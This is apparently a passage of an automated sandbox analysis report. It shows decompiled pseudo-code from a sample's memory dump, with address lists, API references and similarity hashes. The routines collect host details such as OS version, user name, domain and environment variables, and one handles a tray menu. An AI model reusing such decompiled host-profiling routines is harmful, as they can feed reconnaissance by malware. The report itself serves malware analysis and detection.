																__eax = L"WIN_XP";
															}
														}
													} else {
														__eax = L"WIN_2003";
													}
												} else {
													__eax = L"WIN_VISTA";
												}
											} else {
												__eax = L"WIN_2008";
											}
										} else {
											__eax = L"WIN_7";
										}
									} else {
										__eax = L"WIN_2008R2";
									}
								} else {
									__eax = L"WIN_8";
								}
								goto L19;
							case 0x36:
								__eax =  *0xf89604;
								__edi =  *0xf89604->wHour;
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 0x37:
								__edi =  *0xf89604;
								__edi =  &( *0xf89604->wSecond);
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx,  &( *0xf89604->wSecond), __ebx);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x38:
								__esi =  &_v628;
								__edx = L"SYSTEM\\CurrentControlSet\\Control\\Nls\\Language";
								__eax = E00EF06E0(L"SYSTEM\\CurrentControlSet\\Control\\Nls\\Language",  &_v628, 0x80000002, L"InstallLanguage", 0x104);
								L17:
								__esp = __esp + 0xc;
								goto L18;
							case 0x39:
								__edx =  *0xf89604;
								__eax =  *( *0xf89604 + 0x2e) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									__eax = L"X86";
								} else {
									__eflags = __eax - 6;
									if(__eax == 6) {
										__eax = L"IA64";
									} else {
										__eflags = __eax - 9;
										if(__eax != 9) {
											L99:
											__eax = L"UNKNOWN";
										} else {
											__eax = L"X64";
										}
									}
								}
								goto L19;
							case 0x3a:
								__ecx = 0;
								__eax = 0x80000001;
								asm("cpuid");
								__esi =  &_v68;
								 *__esi = 0x80000001;
								 *(__esi + 4) = __ebx;
								 *((intOrPtr*)(__esi + 8)) = 0;
								 *(__esi + 0xc) = __edx;
								__eflags = _v56 & 0x20000000;
								__eax = L"X64";
								if((_v56 & 0x20000000) == 0) {
									__eax = L"X86";
								}
								__ebx = _a8;
								goto L19;
							case 0x3b:
								__edx =  &_v800;
								__eax = GetKeyboardLayoutNameW( &_v800);
								__eax =  &_v800;
								goto L19;
							case 0x3c:
								 &_v1332 = E00EF1487( &_v1332, L"3, 3, 8, 1");
								__ecx =  &_v1332;
								__esi = 0;
								__edi = 0;
								__eax = E00EF10E1( &_v1332);
								__eflags = __eax;
								if(__eax > 0) {
									do {
										__eax =  *(__ebp + __edi * 2 - 0x530) & 0x0000ffff;
										__eflags = __eax - 0x20;
										if(__eax != 0x20) {
											__eflags = __eax - 0x2c;
											if(__eax != 0x2c) {
												 *((short*)(__ebp + __esi * 2 - 0x530)) = __ax;
											} else {
												__edx = 0x2e;
												 *((short*)(__ebp + __esi * 2 - 0x530)) = __dx;
											}
											__esi = __esi + 1;
											__eflags = __esi;
										}
										__eax =  &_v1332;
										__edi =  &(__edi->i);
										__eax = E00EF10E1( &_v1332);
										__eflags = __edi - __eax;
									} while (__edi < __eax);
								}
								__ecx = 0;
								 *((short*)(__ebp + __esi * 2 - 0x530)) = __cx;
								__eax =  &_v1332;
								goto L19;
							case 0x3d:
								__edx =  &_v628;
								__eax = GetModuleFileNameW(0,  &_v628, 0x104);
								goto L18;
							case 0x3e:
								 &_v100 = L00F13478(1,  &_v100);
								__eax =  &_v100;
								goto L19;
							case 0x3f:
								__ecx =  &_v100;
								__eax = L00F13478(2,  &_v100);
								__eax =  &_v100;
								goto L19;
							case 0x40:
								__edx =  &_v100;
								__eax = L00F13478(3,  &_v100);
								__eax =  &_v100;
								goto L19;
							case 0x41:
								 &_v100 = L00F13478(4,  &_v100);
								__eax =  &_v100;
								goto L19;
							case 0x42:
								E00EEE970("\r", _t215, _t217);
								E00EE2480( &_a12);
								__eflags = 0;
								return 0;
								goto L145;
							case 0x43:
								"\n" = E00EEE970("\n", __ebx, __ecx);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x44:
								L"\r\n" = E00EEE970(L"\r\n", __ebx, __ecx);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x45:
								__ecx =  &_v52;
								GetDesktopWindow() = GetWindowRect(__eax,  &_v52);
								__edi = _v52.right;
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 0x46:
								__edx =  &_v52;
								GetDesktopWindow() = GetWindowRect(__eax,  &_v52);
								__edi = _v52.bottom;
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 0x47:
								__edi = GetDesktopWindow();
								__eax = GetDC(__edi);
								_a8 = __eax;
								__eax = GetDeviceCaps(__eax, 0xc);
								__esi = __ebx;
								_v8 = __eax;
								__eax = E00EE9190(__edi, __ebx);
								__ecx = _a8;
								__eax = _v8;
								 *((intOrPtr*)(__ebx + 8)) = 1;
								 *__ebx = _v8;
								__eax = ReleaseDC(__edi, _a8);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x48:
								__edi = GetDesktopWindow();
								__eax = GetDC(__edi);
								_a8 = __eax;
								__eax = GetDeviceCaps(__eax, 0x74);
								__esi = __ebx;
								_v8 = __eax;
								E00EE9190(__edi, __ebx) = _a8;
								__edx = _v8;
								 *((intOrPtr*)(__ebx + 8)) = 1;
								 *__ebx = _v8;
								__eax = ReleaseDC(__edi, _a8);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x49:
								__eax =  *0xf87f54;
								__eflags = __eax - 3;
								if(__eax == 3) {
									goto L128;
								} else {
									__eflags = __eax - 4;
									if(__eax != 4) {
										goto L141;
									} else {
										goto L128;
									}
								}
								goto L143;
							case 0x4a:
								__ecx =  &_v628;
								__eax = GetEnvironmentVariableW(L"COMSPEC", __ecx, 0x104);
								goto L18;
							case 0x4b:
								"\t" = E00EEE970("\t", __ebx, __ecx);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x4c:
								__eax =  &_a4;
								__ecx =  &_v628;
								_a4 = 0x104;
								__eax = GetUserNameW(__ecx,  &_a4);
								goto L18;
							case 0x4d:
								__edx =  &_v628;
								__eax = GetTempPathW(0x104,  &_v628);
								__esi =  &_v628;
								__eax = E00EEF390( &_v628, __eflags);
								goto L18;
							case 0x4e:
								__edx =  &_v628;
								__eax = GetEnvironmentVariableW(L"USERPROFILE",  &_v628, 0x104);
								goto L18;
							case 0x4f:
								 &_v628 = GetEnvironmentVariableW(L"HOMEDRIVE",  &_v628, 0x104);
								goto L18;
							case 0x50:
								__ecx =  &_v628;
								__eax = GetEnvironmentVariableW(L"HOMEPATH", __ecx, 0x104);
								goto L18;
							case 0x51:
								__edx =  &_v628;
								__eax = GetEnvironmentVariableW(L"HOMESHARE",  &_v628, 0x104);
								goto L18;
							case 0x52:
								 &_v628 = GetEnvironmentVariableW(L"LOGONSERVER",  &_v628, 0x104);
								goto L18;
							case 0x53:
								__ecx =  &_v628;
								__eax = GetEnvironmentVariableW(L"USERDOMAIN", __ecx, 0x104);
								goto L18;
							case 0x54:
								__edx =  &_v628;
								__eax = GetEnvironmentVariableW(L"USERDNSDOMAIN",  &_v628, 0x104);
								goto L18;
							case 0x55:
								goto L144;
							case 0x56:
								__edi =  *(__esi + 0x148);
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								L143:
								 *((intOrPtr*)(__ebx + 8)) = 1;
								goto L144;
							case 0x57:
								__eax =  *(__esi + 0x14c);
								goto L19;
							case 0x58:
								__eax = GetCurrentProcessId();
								_a8 = __eax;
								asm("fild dword [ebp+0xc]");
								__eflags = __eax;
								if(__eax < 0) {
									__fp0 = __fp0 +  *0xf6cd00;
								}
								__esi = __ebx;
								_v12 = __fp0;
								__eax = E00EE9190(__edi, __ebx);
								__fp0 = _v12;
								__ecx =  &_a12;
								 *__ebx = _v12;
								 *((intOrPtr*)(__ebx + 8)) = 3;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x59:
								__esi =  &_v628;
								__edx = L"Control Panel\\Appearance";
								__eax = E00EF06E0(L"Control Panel\\Appearance",  &_v628, 0x80000001, L"SchemeLangID", 0x104);
								__eax = _v628 & 0x0000ffff;
								_a4 = _v628 & 0x0000ffff;
								__eax = L00F12E6A(__eax, 0, __esi, 4);
								L18:
								_t38 =  &_v628; // 0xf6bf40
								__eax = _t38;
								L19:
								__eax = E00EEE970(__eax, __ebx, __ecx);
								_t39 =  &_a12; // 0xf6c1c0
								__ecx = _t39;
								E00EE2480(_t39) = 0;
								__eflags = 0;
								return 0;
								goto L145;
						}
					}
				} else {
					_t232 =  &_v36;
					E00EE1D10("@",  &_v36, _t239);
					_a8 = 0;
					E00EEBFA0(_t232, _t241,  &_a12);
					E00EEC510(0, _t232,  &_v8,  &_a8);
					_t207 = _v8;
					if(_v8 != 0) {
						E00EE90D0(_t215, 0, _t207);
						E00EE2480( &_v36);
						E00EE2480( &_a12);
						__eflags = 0;
						return 0;
					} else {
						E00EE2480(_t232);
						E00EE2480( &_a12);
						return 1;
					}
				}
				L145:
			}

0x00f52095
0x00f5209f
0x00f520b6
0x00f520bd
0x00f520d4
0x00f520db
0x00f520e3
0x00f520e6
0x00f520e8
0x00f520f5
0x00f52101
0x00f52106
0x00f5210b
0x00000000
0x00000000
0x00f5210d
0x00f52111
0x00000000
0x00000000
0x00000000
0x00f52111
0x00f52113
0x00f52116
0x00f5218b
0x00f5218e
0x00f52d6e
0x00f52d71
0x00f52d78
0x00f52d7e
0x00f52194
0x00f52194
0x00000000
0x00f5220f
0x00f52211
0x00f52214
0x00f5221d
0x00f52220
0x00f52222
0x00f52227
0x00000000
0x00000000
0x00f5222e
0x00f52230
0x00f52233
0x00f5223c
0x00f52240
0x00f52245
0x00f5224d
0x00f5224d
0x00f52255
0x00000000
0x00000000
0x00f52258
0x00f5225c
0x00f52262
0x00f52266
0x00f52267
0x00f5226c
0x00f52272
0x00000000
0x00000000
0x00f5229e
0x00f522ac
0x00f522b7
0x00f522b9
0x00f522bb
0x00f522c0
0x00f522c6
0x00f522cb
0x00f522d3
0x00f522d3
0x00f522db
0x00000000
0x00000000
0x00f522e3
0x00f522e3
0x00f522ea
0x00f522ea
0x00f522f1
0x00f522fc
0x00f522fe
0x00f52300
0x00f52305
0x00f52305
0x00f5230b
0x00f52310
0x00f52310
0x00f52318
0x00f52318
0x00f52320
0x00000000
0x00000000
0x00f52328
0x00f52328
0x00f5232f
0x00f5232f
0x00f52336
0x00f52341
0x00f52343
0x00f52345
0x00f5234a
0x00f5234a
0x00f52350
0x00f52355
0x00f52355
0x00f5235d
0x00f5235d
0x00f52365
0x00000000
0x00000000
0x00f5236d
0x00f5236d
0x00f52374
0x00f5237b
0x00f52386
0x00f52388
0x00f5238a
0x00f5238f
0x00f5238f
0x00f52395
0x00f5239a
0x00f5239a
0x00f523a2
0x00f523a2
0x00f523aa
0x00000000
0x00000000
0x00f523b2
0x00f523b2
0x00f523b9
0x00f523b9
0x00f523c0
0x00f523cb
0x00f523cd
0x00f523cf
0x00f523d4
0x00f523d4
0x00f523da
0x00f523df
0x00f523df
0x00f523e7
0x00f523e7
0x00f523ef
0x00000000
0x00000000
0x00f523f7
0x00f523f7
0x00f523fe
0x00f523fe
0x00f52405
0x00f52410
0x00f52412
0x00f52414
0x00f52419
0x00f52419
0x00f5241f
0x00f52424
0x00f52424
0x00f5242c
0x00f5242c
0x00f52434
0x00000000
0x00000000
0x00f52437
0x00f52437
0x00f5243e
0x00f52449
0x00f5244a
0x00f5244f
0x00f5244f
0x00f52455
0x00f52273
0x00f52273
0x00000000
0x00000000
0x00f52460
0x00f52464
0x00f52468
0x00f52473
0x00f52475
0x00f52477
0x00f5247c
0x00f5247f
0x00f52484
0x00f5248c
0x00f5248c
0x00f52494
0x00000000
0x00000000
0x00f52497
0x00f52497
0x00f5249d
0x00f5249e
0x00f524a0
0x00f524a2
0x00f524a4
0x00f524a6
0x00000000
0x00000000
0x00f524b1
0x00f524b1
0x00f524b7
0x00f524b8
0x00f524ba
0x00f524bc
0x00f524be
0x00f524c0
0x00000000
0x00000000
0x00f524cb
0x00f524cb
0x00f524d1
0x00f524d2
0x00f524d4
0x00f524d6
0x00f524d8
0x00f524da
0x00000000
0x00000000
0x00f524e5
0x00f524e5
0x00f524eb
0x00f524ec
0x00f524ee
0x00f524f0
0x00f524f2
0x00f524f4
0x00000000
0x00000000
0x00f524ff
0x00f524ff
0x00f52505
0x00f52506
0x00f52508
0x00f5250a
0x00f5250c
0x00f5250e
0x00000000
0x00000000
0x00f52519
0x00f52519
0x00f5251f
0x00f52520
0x00f52522
0x00f52524
0x00f52526
0x00f52528
0x00000000
0x00000000
0x00f52533
0x00f52533
0x00f52539
0x00f5253a
0x00f5253c
0x00f5253e
0x00f52540
0x00f52542
0x00000000
0x00000000
0x00f5254d
0x00f5254d
0x00f52553
0x00f52554
0x00f52556
0x00f52558
0x00f5255a
0x00f5255c
0x00000000
0x00000000
0x00f52567
0x00f52567
0x00f5256d
0x00f5256e
0x00f52570
0x00f52572
0x00f52574
0x00f52576
0x00000000
0x00000000
0x00f52581
0x00f52587
0x00f52588
0x00f5258a
0x00f5258c
0x00f5258e
0x00f52590
0x00000000
0x00000000
0x00f5259b
0x00f525a1
0x00f525a2
0x00f525a4
0x00f525a6
0x00f525a8
0x00f525aa
0x00000000
0x00000000
0x00f525b5
0x00f525bb
0x00f525bc
0x00f525be
0x00f525c0
0x00f525c2
0x00f525c4
0x00000000
0x00000000
0x00f525cf
0x00f525d5
0x00f525d6
0x00f525d8
0x00f525da
0x00f525dc
0x00f525de
0x00000000
0x00000000
0x00f525e9
0x00f525ef
0x00f525f0
0x00f525f2
0x00f525f4
0x00f525f6
0x00f525f8
0x00000000
0x00000000
0x00f52603
0x00f52609
0x00f5260a
0x00f5260c
0x00f5260e
0x00f52610
0x00f52612
0x00000000
0x00000000
0x00f5261d
0x00f52623
0x00f52624
0x00f52626
0x00f52628
0x00f5262a
0x00f5262c
0x00000000
0x00000000
0x00f52637
0x00f5263b
0x00f52642
0x00f52649
0x00000000
0x00000000
0x00f52659
0x00f52660
0x00f52666
0x00f52668
0x00000000
0x00f5266e
0x00000000
0x00f5266e
0x00000000
0x00000000
0x00f52673
0x00f52679
0x00f5267d
0x00f52682
0x00f52688
0x00f52689
0x00f526ac
0x00f5268b
0x00f5268b
0x00f5268d
0x00f52690
0x00f52693
0x00f5269c
0x00f5269e
0x00f526a2
0x00f526a2
0x00000000
0x00000000
0x00f52d5a
0x00f52d5a
0x00000000
0x00000000
0x00f526b7
0x00f526b9
0x00f526be
0x00000000
0x00000000
0x00f526c9
0x00f526cb
0x00f526d0
0x00000000
0x00000000
0x00f526db
0x00f526dd
0x00f526e2
0x00000000
0x00000000
0x00f526ed
0x00f526ef
0x00f526f4
0x00000000
0x00000000
0x00f526ff
0x00f52701
0x00f52706
0x00000000
0x00000000
0x00f52781
0x00f52783
0x00f52788
0x00000000
0x00000000
0x00f52793
0x00f52795
0x00f5279a
0x00000000
0x00000000
0x00f52711
0x00f52713
0x00f52718
0x00000000
0x00000000
0x00f52723
0x00f52725
0x00f5272a
0x00000000
0x00000000
0x00f52735
0x00f52737
0x00f5273c
0x00000000
0x00000000
0x00f52747
0x00f52749
0x00f5274e
0x00000000
0x00000000
0x00f52c29
0x00f52c29
0x00f52c2b
0x00f52c30
0x00000000
0x00000000
0x00f527a5
0x00f527a7
0x00f527ac
0x00000000
0x00000000
0x00f527b7
0x00f527b9
0x00f527be
0x00000000
0x00000000
0x00f52759
0x00000000
0x00000000
0x00f52778
0x00f52760
0x00f52760
0x00f52762
0x00f52d5c
0x00f52d5c
0x00f52d61
0x00f52768
0x00f52768
0x00f5276d
0x00f5276d
0x00000000
0x00000000
0x00f527c9
0x00000000
0x00000000
0x00f527d4
0x00000000
0x00000000
0x00f527df
0x00000000
0x00000000
0x00f527ea
0x00f527f1
0x00f527f6
0x00f527f8
0x00f527fa
0x00f527ff
0x00000000
0x00000000
0x00f52806
0x00f52812
0x00000000
0x00000000
0x00f52889
0x00000000
0x00000000
0x00f52893
0x00f52898
0x00f5289c
0x00f528a8
0x00f528ac
0x00f528b8
0x00f528bc
0x00f528c8
0x00f528cc
0x00f528d8
0x00f528dc
0x00f528e8
0x00f528ec
0x00f528f8
0x00f528fc
0x00f52917
0x00f5291b
0x00000000
0x00f5291d
0x00f5291d
0x00f5291d
0x00f528fe
0x00f528fe
0x00f52902
0x00f52907
0x00f5290d
0x00f5290d
0x00f52907
0x00f528ee
0x00f528ee
0x00f528ee
0x00f528de
0x00f528de
0x00f528de
0x00f528ce
0x00f528ce
0x00f528ce
0x00f528be
0x00f528be
0x00f528be
0x00f528ae
0x00f528ae
0x00f528ae
0x00f5289e
0x00f5289e
0x00f5289e
0x00000000
0x00000000
0x00f52931
0x00f52936
0x00f52939
0x00f5293b
0x00f52940
0x00000000
0x00000000
0x00f52947
0x00f5294d
0x00f52950
0x00f52952
0x00f52957
0x00f5295f
0x00f5295f
0x00f52967
0x00000000
0x00000000
0x00f52979
0x00f5297f
0x00f52984
0x00f52278
0x00f52278
0x00000000
0x00000000
0x00f5281d
0x00f52823
0x00f52827
0x00f52829
0x00f5284d
0x00f5282b
0x00f5282b
0x00f5282e
0x00f52843
0x00f52830
0x00f52830
0x00f52833
0x00f52927
0x00f52927
0x00f52839
0x00f52839
0x00f52839
0x00f52833
0x00f5282e
0x00000000
0x00000000
0x00f52857
0x00f52859
0x00f5285e
0x00f52860
0x00f52863
0x00f52865
0x00f52868
0x00f5286b
0x00f5286e
0x00f52875
0x00f5287a
0x00f5287c
0x00f5287c
0x00f52881
0x00000000
0x00000000
0x00f529cd
0x00f529d4
0x00f529da
0x00000000
0x00000000
0x00f529f1
0x00f529f6
0x00f529fd
0x00f529ff
0x00f52a01
0x00f52a09
0x00f52a0b
0x00f52a15
0x00f52a15
0x00f52a1d
0x00f52a20
0x00f52a22
0x00f52a25
0x00f52a36
0x00f52a27
0x00f52a27
0x00f52a2c
0x00f52a2c
0x00f52a3e
0x00f52a3e
0x00f52a3e
0x00f52a3f
0x00f52a46
0x00f52a47
0x00f52a4f
0x00f52a4f
0x00f52a15
0x00f52a53
0x00f52a55
0x00f52a5d
0x00000000
0x00000000
0x00f52a6d
0x00f52a76
0x00000000
0x00000000
0x00f52a87
0x00f52a8f
0x00000000
0x00000000
0x00f52a97
0x00f52a9d
0x00f52aa5
0x00000000
0x00000000
0x00f52aad
0x00f52ab3
0x00f52abb
0x00000000
0x00000000
0x00f52ac9
0x00f52ad1
0x00000000
0x00000000
0x00f521a0
0x00f521a8
0x00f521ad
0x00f521b5
0x00000000
0x00000000
0x00f521bd
0x00f521c2
0x00f521ca
0x00f521ca
0x00f521d2
0x00000000
0x00000000
0x00f521da
0x00f521df
0x00f521e7
0x00f521e7
0x00f521ef
0x00000000
0x00000000
0x00f52ad9
0x00f52ae4
0x00f52aea
0x00f52aed
0x00f52aef
0x00f52af4
0x00000000
0x00000000
0x00f52afb
0x00f52b06
0x00f52b0c
0x00f52b0f
0x00f52b11
0x00f52b16
0x00000000
0x00000000
0x00f52b23
0x00f52b26
0x00f52b2f
0x00f52b32
0x00f52b38
0x00f52b3a
0x00f52b3d
0x00f52b42
0x00f52b45
0x00f52b4a
0x00f52b51
0x00f52b53
0x00f52b59
0x00f52b61
0x00f52b61
0x00f52b69
0x00000000
0x00000000
0x00f52b72
0x00f52b75
0x00f52b7e
0x00f52b81
0x00f52b87
0x00f52b89
0x00f52b91
0x00f52b94
0x00f52b99
0x00f52ba0
0x00f52ba2
0x00f52ba8
0x00f52bb0
0x00f52bb0
0x00f52bb8
0x00000000
0x00000000
0x00f52c16
0x00f52c1b
0x00f52c1e
0x00000000
0x00f52c20
0x00f52c20
0x00f52c23
0x00000000
0x00000000
0x00000000
0x00000000
0x00f52c23
0x00000000
0x00000000
0x00f52bc0
0x00f52bcc
0x00000000
0x00000000
0x00f521f7
0x00f521fc
0x00f52204
0x00f52204
0x00f5220c
0x00000000
0x00000000
0x00f52bf9
0x00f52bfd
0x00f52c04
0x00f52c0b
0x00000000
0x00000000
0x00f52bd7
0x00f52be3
0x00f52be9
0x00f52bef
0x00000000
0x00000000
0x00f52c40
0x00f52c4c
0x00000000
0x00000000
0x00f52c68
0x00000000
0x00000000
0x00f52c78
0x00f52c84
0x00000000
0x00000000
0x00f52c94
0x00f52ca0
0x00000000
0x00000000
0x00f52cbc
0x00000000
0x00000000
0x00f52ccc
0x00f52cd8
0x00000000
0x00000000
0x00f52ce8
0x00f52cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00f52cff
0x00f52d05
0x00f52d07
0x00f52d0c
0x00f52d67
0x00f52d67
0x00000000
0x00000000
0x00f52d10
0x00000000
0x00000000
0x00f52d1b
0x00f52d21
0x00f52d24
0x00f52d27
0x00f52d29
0x00f52d2b
0x00f52d2b
0x00f52d31
0x00f52d33
0x00f52d36
0x00f52d3b
0x00f52d3e
0x00f52d41
0x00f52d43
0x00f52d4f
0x00f52d4f
0x00f52d57
0x00000000
0x00000000
0x00f5299d
0x00f529a3
0x00f529a8
0x00f529ad
0x00f529bd
0x00f529c0
0x00f5227b
0x00f5227b
0x00f5227b
0x00f52281
0x00f52281
0x00f52286
0x00f52286
0x00f5228e
0x00f5228e
0x00f52296
0x00000000
0x00000000
0x00f52194
0x00f52118
0x00f5211d
0x00f52120
0x00f5212b
0x00f52132
0x00f52141
0x00f52146
0x00f5214b
0x00f5216b
0x00f52173
0x00f5217b
0x00f52180
0x00f52188
0x00f5214d
0x00f5214f
0x00f52157
0x00f52167
0x00f52167
0x00f5214b
0x00000000

APIs

_memset.LIBCMT ref: 00F520BD
_memset.LIBCMT ref: 00F520DB
GetLocalTime.KERNEL32(?), ref: 00F5225C
__swprintf.LIBCMT ref: 00F52273
SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,00F6BF48), ref: 00F524A6
SHGetFolderPathW.SHELL32(00000000,0000002B,00000000,00000000,00F6BF48), ref: 00F524C0
SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,00F6BF48), ref: 00F524DA
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,00F6BF48), ref: 00F524F4
SHGetFolderPathW.SHELL32(00000000,00000019,00000000,00000000,00F6BF48), ref: 00F5250E
SHGetFolderPathW.SHELL32(00000000,0000002E,00000000,00000000,00F6BF48), ref: 00F52528
SHGetFolderPathW.SHELL32(00000000,0000001F,00000000,00000000,00F6BF48), ref: 00F52542
SHGetFolderPathW.SHELL32(00000000,00000017,00000000,00000000,00F6BF48), ref: 00F5255C
SHGetFolderPathW.SHELL32(00000000,00000016,00000000,00000000,00F6BF48), ref: 00F52576

Strings

%.3d, xrefs: 00F52267

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FolderPath$_memset$LocalTime__swprintf
String ID: %.3d
API String ID: 645292623-986655627
Opcode ID: b998f500dcabacbc599c4f3d221bea0fe250787443b5189cd452ef8b04477a5a
Instruction ID: b14fb117aecf18a904778b8993d3a0f6440a656b25a337514d5c40196d6db0ab
Opcode Fuzzy Hash: b998f500dcabacbc599c4f3d221bea0fe250787443b5189cd452ef8b04477a5a
Instruction Fuzzy Hash: AAC1D83361421C9BDB64EF60DC86FEE73B8FB44311F441569FA09A70C2DB759A099BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F4E7D4, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 207
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00F4E7D4(void* __fp0, struct tagMENUITEMINFOW** _a4, struct HWND__* _a8, intOrPtr _a12) {
				struct HMENU__* _v12;
				struct tagPOINT _v20;
				struct tagMENUITEMINFOW _v68;
				signed int _t51;
				signed int _t85;
				struct HWND__* _t87;
				struct HMENU__** _t88;
				void* _t99;

				_t99 = __fp0;
				_t88 = _a4;
				_v68.cbSize = 0x30;
				E00EF2E60( &(_v68.fMask), 0, 0x2c);
				_t51 = _a12 + 0xfffffe00;
				_t85 = 0;
				_v12 = _t88[0x274];
				if(_t51 > 6) {
					L20:
					if((_t88[3] & _t85) == 0 ||  *0xf774eb == 0) {
						L34:
						return _t51;
					} else {
						if(_t88[1] == 0) {
							DeleteMenu( *_t88, 5, 0);
							DeleteMenu( *_t88, 4, 0);
							DeleteMenu( *_t88, 6, 0);
							DeleteMenu( *_t88, 3, 0);
							_t88[2] = 0;
						} else {
							if(_t88[2] == 0) {
								if(GetMenuItemCount( *_t88) > 0) {
									_t88[0x274] = 4;
									E00F3FB23(_t88, 0, 0xf64e64, 0xffffffff, 0xffffffff, 0);
								}
								_t88[0x274] = 3;
								E00F3FB23(_t88, 0, _t88[0x1f], 0xffffffff, 0xffffffff, 0);
								_t88[0x274] = 5;
								E00F3FB23(_t88, 0, 0xf64e64, 0xffffffff, 0xffffffff, 0);
								_t88[0x274] = 2;
								E00F3FB23(_t88, 0, _t88[0x1b], 0xffffffff, 0xffffffff, 0);
								_t88[0x274] = _v12;
								_t88[2] = 1;
							}
						}
						_t51 = GetMenuItemCount( *_t88);
						if(_t51 <= 0) {
							goto L34;
						} else {
							if(_t88[1] != 0) {
								if(_t88[1] != 0) {
									 *0xf774ec = 1;
									_v68.fMask = 1;
									_v68.fState = 8;
									SetMenuItemInfoW( *_t88, 4, 0,  &_v68);
								}
							} else {
								_t88[1] = 0;
							}
							GetCursorPos( &_v20);
							_t87 = _a8;
							SetForegroundWindow(_t87);
							TrackPopupMenuEx( *_t88, 0, _v20, _v20.y, _t87, 0);
							PostMessageW(_t87, 0, 0, 0);
							return E00EE1E00(_t88, _t99);
						}
					}
				}
				switch( *((intOrPtr*)(_t51 * 4 +  &M00F4EA48))) {
					case 0:
						__edi = 0x40;
						_push(0xfffffff5);
						goto L19;
					case 1:
						_t85 = 1;
						_push(0xfffffff9);
						goto L19;
					case 2:
						__edi = 2;
						_push(0xfffffff8);
						goto L19;
					case 3:
						__eflags =  *((char*)(__esi + 0xa));
						__edi = 4;
						if(__eflags == 0) {
							L14:
							_push(0xfffffff3);
							goto L19;
						}
						__ebx = 7;
						_v68.fMask = 1;
						_v68.fState = 8;
						__eflags = __ecx - 7;
						if(__eflags < 0) {
							goto L14;
						} else {
							_a4 = __esi + 0x1d0;
							do {
								__eax = _a4;
								__eax =  *_a4;
								__eflags = __eax;
								if(__eax == 0) {
									goto L11;
								}
								__ecx =  &_v68;
								__eax = GetMenuItemInfoW( *__eax, __ebx, 0, __ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L11;
								}
								__eflags = _v68.fState & 0x00001000;
								if((_v68.fState & 0x00001000) == 0) {
									goto L11;
								}
								__eax = _a4;
								__ecx =  *_a4;
								__eflags = __ecx->cbSize -  *__esi;
								if(__eflags == 0) {
									__eax = E00F33AE4(__ecx, __eflags, __esi, __ebx);
									goto L14;
								}
								L11:
								_a4 = _a4 + __edi;
								__ebx = __ebx + 1;
								__eflags = __ebx -  *((intOrPtr*)(__esi + 0x9d0));
							} while (__eflags <= 0);
							_push(0xfffffff3);
							goto L19;
						}
					case 4:
						__edi = 8;
						_push(0xfffffff7);
						goto L19;
					case 5:
						__edi = 0x10;
						_push(0xfffffff6);
						goto L19;
					case 6:
						__edi = 0x20;
						_push(0xfffffff2);
						L19:
						_push(_t88);
						_t51 = E00F33A8B(_t74, _t91);
						goto L20;
				}
			}

0x00f4e7d4
0x00f4e7dc
0x00f4e7e8
0x00f4e7ef
0x00f4e7fd
0x00f4e805
0x00f4e807
0x00f4e80d
0x00f4e8d8
0x00f4e8db
0x00f4ea45
0x00f4ea45
0x00f4e8ee
0x00f4e8f8
0x00f4e99f
0x00f4e9a8
0x00f4e9b1
0x00f4e9ba
0x00f4e9bc
0x00f4e8fe
0x00f4e902
0x00f4e90f
0x00f4e91f
0x00f4e929
0x00f4e929
0x00f4e93b
0x00f4e945
0x00f4e958
0x00f4e962
0x00f4e974
0x00f4e97e
0x00f4e986
0x00f4e98c
0x00f4e98c
0x00f4e902
0x00f4e9c3
0x00f4e9c7
0x00000000
0x00f4e9c9
0x00f4e9cd
0x00f4e9d9
0x00f4e9e6
0x00f4e9ed
0x00f4e9f4
0x00f4e9fb
0x00f4e9fb
0x00f4e9cf
0x00f4e9cf
0x00f4e9cf
0x00f4ea05
0x00f4ea0b
0x00f4ea0f
0x00f4ea25
0x00f4ea32
0x00000000
0x00f4ea3a
0x00f4e9c7
0x00f4e8db
0x00f4e813
0x00000000
0x00f4e8cb
0x00f4e8d0
0x00000000
0x00000000
0x00f4e81a
0x00f4e81f
0x00000000
0x00000000
0x00f4e826
0x00f4e82b
0x00000000
0x00000000
0x00f4e832
0x00f4e836
0x00f4e83b
0x00f4e8ac
0x00f4e8ac
0x00000000
0x00f4e8ac
0x00f4e83d
0x00f4e842
0x00f4e849
0x00f4e850
